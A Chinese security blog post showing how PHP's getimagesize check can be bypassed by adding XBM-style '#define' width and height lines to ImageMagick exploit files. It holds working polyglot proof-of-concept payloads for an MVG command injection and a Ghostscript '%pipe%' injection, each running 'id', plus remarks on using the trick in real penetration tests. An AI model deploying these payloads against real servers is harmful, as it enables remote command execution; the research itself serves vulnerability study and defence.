imagemagick邂逅getimagesize的那点事儿

前段时间写的文章，在微博上说HW结束分享一下，总算可以发了。感谢 @voidfyoo 提出的这个问题。

今天遇到一个代码，大致如下：

<?php
$filename = $_FILES['image']['tmp_name'];
$size = getimagesize($filename);
if ($size && $size[0] > 100 && $size[1] > 100) {
    $img = new Imagick($_FILES['image']['tmp_name']);
    $img->cropThumbnailImage(100, 100);
    $img->writeImage('newimage.gif');
}

用户上传的文件如果大于100px，则用Imagick处理成100x100的缩略图，再存储在硬盘上。

通过这个代码，我们很容易想到用Imagemagick的漏洞进行测试，但这里前面对图片大小用getimagesize进行了限制，之前爆出来的那些POC均无法通过校验，因为getimagesize并不支持类似PostScript、MVG这样的图片格式。

这时候我们怎么绕过这个限制呢？

0x01 Imagemagick命令执行不完全回顾

Imagemagick历史上曾出现过的很多命令执行漏洞，我在vulhub里做过以下三个：

CVE-2016-3714
CVE-2018-16509
CVE-2019-6116

第一个是Imagemagick在处理mvg格式图片时导致的命令注入，后两个都是在处理PostScript文件时因为使用了GhostScript，而GhostScript中存在的命令注入。

Imagemagick是一个大而全的图片处理库，他能处理日常生活中见到的绝大多数图片格式，比如jpg、gif、png等，当然也包括日常生活中很少见到的图片格式，比如前面说的mvg和ps。

这三个漏洞的具体原理网上很多文章也分析过，我这里就不再分析了，但我们思考一下：一个文件交给Imagemagick处理，他是怎么知道这是哪种格式的图片，并如何处理呢？

显然需要一个方法来区分文件类型，而单纯用文件名后缀来判断是不合理的（文件后缀并不是构成文件名的必要元素），常规的做法就是通过文件头来判断。

随便翻一下Imagemagick的代码，我就发现大多数文件格式的处理中，通常有一个函数，用来判断这个文件是否是对应的格式。

比如：

// coders/ps.c
static MagickBooleanType IsPS(const unsigned char *magick,const size_t length)
{
  if (length < 4)
    return(MagickFalse);
  if (memcmp(magick,"%!",2) == 0)
    return(MagickTrue);
  if (memcmp(magick,"\004%!",3) == 0)
    return(MagickTrue);
  return(MagickFalse);
}

// coders/mvg.c
static MagickBooleanType IsMVG(const unsigned char *magick,const size_t length)
{
  if (length < 20)
    return(MagickFalse);
  if (LocaleNCompare((const char *) magick,"push graphic-context",20) == 0)
    return(MagickTrue);
  return(MagickFalse);
}

这两个函数就是判断文件是否是postscript和mvg格式。很显然，他这里是通过文件头来判断，也就是说，如果想让Imagemagick用ps的处理方法来处理图片，这个图片的前几个字节必须是%!或\004%!。

这也很好理解，文件头的意义就是标示这个文件是什么类型的文件。

所以，如果我们想利用Imagemagick的命令执行漏洞，必须要给他传入一个合法的mvg或ps文件，或者至少文件头要满足要求。

0x02 深入getimagesize

通过翻阅PHP文档，可知getimagesize支持的图片类型有 GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM，WBMP：

那么这时候就犯难了，ps和mvg并不在其中。如果我们传入一个ps文件，getimagesize处理时就会失败并返回false，那么就不会执行到Imagick那里。这种方法也是当初ImageTragick漏洞出现时，很多文章推荐的缓解措施。

似乎很安全，不过我们应该深入研究一下getimagesize究竟是如何处理图片的。

下载php源码，ext/standard/image.c这个文件是关键，看到如下函数：

static void php_getimagesize_from_stream(php_stream *stream, zval *info, INTERNAL_FUNCTION_PARAMETERS) /* {{{ */
{
    int itype = 0;
    struct gfxinfo *result = NULL;

    if (!stream) {
        RETURN_FALSE;
    }

    itype = php_getimagetype(stream, NULL);
    switch( itype) {
        case IMAGE_FILETYPE_GIF:
            result = php_handle_gif(stream);
            break;
        case IMAGE_FILETYPE_JPEG:
            //...
        case ...

可见，这里逻辑是首先用php_getimagetype(stream, NULL)来获取图片格式，然后进入一个switch语句，根据格式来分配具体的处理方法。

看看PHP是如何获取图片格式的：

PHPAPI int php_getimagetype(php_stream * stream, char *filetype)
{
    char tmp[12];
    int twelve_bytes_read;

    if ( !filetype) filetype = tmp;
    if((php_stream_read(stream, filetype, 3)) != 3) {
        php_error_docref(NULL, E_NOTICE, "Read error!");
        return IMAGE_FILETYPE_UNKNOWN;
    }

/* BYTES READ: 3 */
    if (!memcmp(filetype, php_sig_gif, 3)) {
        return IMAGE_FILETYPE_GIF;
    } else if (!memcmp(filetype, php_sig_jpg, 3)) {
        return IMAGE_FILETYPE_JPEG;
    } else if (!memcmp(filetype, php_sig_png, 3)) {
        if (php_stream_read(stream, filetype+3, 5) != 5) {
            php_error_docref(NULL, E_NOTICE, "Read error!");
            return IMAGE_FILETYPE_UNKNOWN;
        }
        if (!memcmp(filetype, php_sig_png, 8)) {
            return IMAGE_FILETYPE_PNG;
        } else {
            php_error_docref(NULL, E_WARNING, "PNG file corrupted by ASCII conversion");
            return IMAGE_FILETYPE_UNKNOWN;
        }
    } else if (!memcmp(filetype, php_sig_swf, 3)) {
        return IMAGE_FILETYPE_SWF;
    } else if (!memcmp(filetype, php_sig_swc, 3)) {
        return IMAGE_FILETYPE_SWC;
    } else if (!memcmp(filetype, php_sig_psd, 3)) {
        return IMAGE_FILETYPE_PSD;
    } else if (!memcmp(filetype, php_sig_bmp, 2)) {
        return IMAGE_FILETYPE_BMP;
    } else if (!memcmp(filetype, php_sig_jpc, 3)) {
        return IMAGE_FILETYPE_JPC;
    } else if (!memcmp(filetype, php_sig_riff, 3)) {
        if (php_stream_read(stream, filetype+3, 9) != 9) {
            php_error_docref(NULL, E_NOTICE, "Read error!");
            return IMAGE_FILETYPE_UNKNOWN;
        }
        if (!memcmp(filetype+8, php_sig_webp, 4)) {
            return IMAGE_FILETYPE_WEBP;
        } else {
            return IMAGE_FILETYPE_UNKNOWN;
        }
    }

    if (php_stream_read(stream, filetype+3, 1) != 1) {
        php_error_docref(NULL, E_NOTICE, "Read error!");
        return IMAGE_FILETYPE_UNKNOWN;
    }
/* BYTES READ: 4 */
    if (!memcmp(filetype, php_sig_tif_ii, 4)) {
        return IMAGE_FILETYPE_TIFF_II;
    } else if (!memcmp(filetype, php_sig_tif_mm, 4)) {
        return IMAGE_FILETYPE_TIFF_MM;
    } else if (!memcmp(filetype, php_sig_iff, 4)) {
        return IMAGE_FILETYPE_IFF;
    } else if (!memcmp(filetype, php_sig_ico, 4)) {
        return IMAGE_FILETYPE_ICO;
    }

    /* WBMP may be smaller than 12 bytes, so delay error */
    twelve_bytes_read = (php_stream_read(stream, filetype+4, 8) == 8);

/* BYTES READ: 12 */
    if (twelve_bytes_read && !memcmp(filetype, php_sig_jp2, 12)) {
        return IMAGE_FILETYPE_JP2;
    }

/* AFTER ALL ABOVE FAILED */
    if (php_get_wbmp(stream, NULL, 1)) {
        return IMAGE_FILETYPE_WBMP;
    }
    if (!twelve_bytes_read) {
        php_error_docref(NULL, E_NOTICE, "Read error!");
        return IMAGE_FILETYPE_UNKNOWN;
    }
    if (php_get_xbm(stream, NULL)) {
        return IMAGE_FILETYPE_XBM;
    }
    return IMAGE_FILETYPE_UNKNOWN;
}

这个函数很长，首先从流里读了3个字节，进行了一批判断（用memcmp对比），其实也就是对比图片头；如果没找到，则再读取一个字节，对比4个字节长度的图片头；如果还没找到，再读取8个字节，看图片是否是jp2格式；如果还不是，则用php_get_wbmp与php_get_xbm两个函数判断图片是否是wbmp与xbm格式。

前面比较文件头的部分，已经和Imagemagick漏洞利用条件冲突了，毕竟一个文件不可能既是ps文件头，又是gif文件头，那么只能寄希望于php_get_wbmp与php_get_xbm两个函数。

php_get_wbmp是没戏的，因为他要求第一个字节必须是\x00：

static int php_get_wbmp(php_stream *stream, struct gfxinfo **result, int check)
{
    int i, width = 0, height = 0;

    if (php_stream_rewind(stream)) {
        return 0;
    }

    /* get type */
    if (php_stream_getc(stream) != 0) {
        return 0;
    }

那么看一下php_get_xbm：

static int php_get_xbm(php_stream *stream, struct gfxinfo **result)
{
    char *fline;
    char *iname;
    char *type;
    int value;
    unsigned int width = 0, height = 0;

    if (result) {
        *result = NULL;
    }
    if (php_stream_rewind(stream)) {
        return 0;
    }
    while ((fline=php_stream_gets(stream, NULL, 0)) != NULL) {
        iname = estrdup(fline); /* simple way to get necessary buffer of required size */
        if (sscanf(fline, "#define %s %d", iname, &value) == 2) {
            if (!(type = strrchr(iname, '_'))) {
                type = iname;
            } else {
                type++;
            }

            if (!strcmp("width", type)) {
                width = (unsigned int) value;
                if (height) {
                    efree(iname);
                    break;
                }
            }
            if (!strcmp("height", type)) {
                height = (unsigned int) value;
                if (width) {
                    efree(iname);
                    break;
                }
            }
        }
        efree(fline);
        efree(iname);
    }
    if (fline) {
        efree(fline);
    }

    if (width && height) {
        if (result) {
            *result = (struct gfxinfo *) ecalloc(1, sizeof(struct gfxinfo));
            (*result)->width = width;
            (*result)->height = height;
        }
        return IMAGE_FILETYPE_XBM;
    }

    return 0;
}

这函数主要是一个大while循环，遍历了文件的每一行。从这里也能看出，xbm图片是一个文本格式的文件，而不像其他图片一样是二进制文件。

如果某一行格式满足#define %s %d，那么取出其中的字符串和数字，再从字符串中取出width或height，将数字作为图片的长和宽。

逻辑很简单呀，文本格式，而且没有限制文件头，只要有某两行可以控制即可。这和我们Imagemagick的POC差别并不大，显然是可以兼容的。

0x03 编写同时符合getimagesize与Imagemagick的POC

理论基础结束，我们来编写一下POC吧。

首先拿出原mvg格式的POC：

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context

我们只需要在后面增加上#define %s %d即可：

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200

getimagesize成功获取其大小：

用存在漏洞的imagemagick进行测试，命令成功执行：

ps也一样，我们借助CVE-2018-16509的POC进行构造：

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

/test {
#define xlogo64_width 64
#define xlogo64_height 64
}

用getimagesize成功获取图片大小：

用存在漏洞的imagemagick+GhostScript进行测试，命令成功执行：

0x04 后记

本来想写一下Discuz下的利用的，但是鉴于某条例的规定，漏洞分析不能乱发，再加我粗略找到的利用链本身也不太完整，有一些条件限制，并不是特别好，所以就不献丑了。

事实上这个技巧在刚过去的实战中有用到，并不局限于Discuz或某个CMS。因为imagemagick和ghostscript的漏洞层出不穷，也在侧面辅助了黑盒渗透与PHP代码审计，待下一次0day爆发，也可以利用这个技巧进行盲测。